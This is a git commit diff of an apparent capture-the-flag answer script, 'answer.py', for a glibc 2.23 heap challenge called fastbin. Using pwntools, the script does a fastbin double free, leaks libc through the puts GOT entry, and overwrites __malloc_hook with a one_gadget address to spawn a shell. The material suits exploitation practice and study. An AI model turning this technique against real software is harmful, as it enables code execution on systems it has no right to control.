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Almost Finished FastBin/fastbin (Little flaw)

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This commit is contained in:
Jack Ren
2022-01-29 23:53:14 +08:00
parent 33465c85e0
commit 95d5ef6cc7
2 changed files with 106 additions and 6 deletions
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43
FastBin/fastbin/answer.py
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@@ -1,6 +1,8 @@
#!/usr/bin/env python3
#!/usr/bin/env python2
# coding = utf-8
# Env: Ubuntu 16.04.7 LTS, GLIBC 2.23-0ubuntu11.3, Kernel 4.15.0-142-generic
from pwn import *
from LibcSearcher import *
context(arch = "amd64", os = "linux", log_level = "debug")
@@ -16,7 +18,7 @@ def note_create(size, data):
p.recvuntil('size ?')
p.sendline(str(size))
p.recvuntil('data:')
p.sendline(data)
p.send(data)
def note_delete(index):
p.recvuntil('>')
@@ -32,13 +34,42 @@ def note_print(index):
p = process('./fastbin')
elf = ELF('./fastbin')
#gdb.attach(p, "")
# gdb.attach(p, "")
note_init('aaa')
note_create(0x70, 'a')
bss_name = 0x602100
puts_got_addr = elf.got['puts'] # 0x602028
# First Stage: Leak Libc
note_init(p64(0) + p64(0x80)) # set mchunk_prev_size & mchunk_size in malloc_chunk, chunk "bss_name"
note_create(0x70, 'a') # counterfeit a double free fastbin chain
note_create(0x70, 'a')
note_delete(0)
note_delete(1)
note_delete(0)
note_delete(0) # double free chunk[0]
note_create(0x70, p64(bss_name)) # fill *(&malloc_chunk+offsetof(fd)) (usermem) ,chunk 0
note_create(0x70, 'a') # chunk 1
note_create(0x70, 'a') # chunk 0
note_create(0x70, 'a' * 0x10 + p64(puts_got_addr)) # chunk on BSS: bss_name, overwrite chunk[0] to leak got['puts']
note_print(0)
puts_libc = u64(p.recv(6) + '\x00\x00')
log.info('puts_libc:' + str(hex(puts_libc)))
libc = LibcSearcher('puts', puts_libc)
libc_base = puts_libc - libc.dump('puts')
log.info('libc_base:' + str(hex(libc_base)))
# Second Stage: Overwrite __malloc_hook to one_gadget
malloc_hook_chunk = libc_base + libc.dump('__malloc_hook') - 0x23
log.info('malloc_hook_chunk:' + str(hex(malloc_hook_chunk)))
note_create(0x60, 'a') # counterfeit a double free fastbin chain
note_create(0x60, 'a')
note_delete(6)
note_delete(7)
note_delete(6) # double free chunk[6]
note_create(0x60, p64(malloc_hook_chunk)) # chunk 6
note_create(0x60, 'a') # chunk 7
note_create(0x60, 'a') # chunk 6
one_gadget = libc_base + 0xf03a4
note_create(0x60, 'a'* 0x13 + p64(one_gadget))
note_delete(0) # two consecutive free invoke user malloc
note_delete(0)
p.interactive()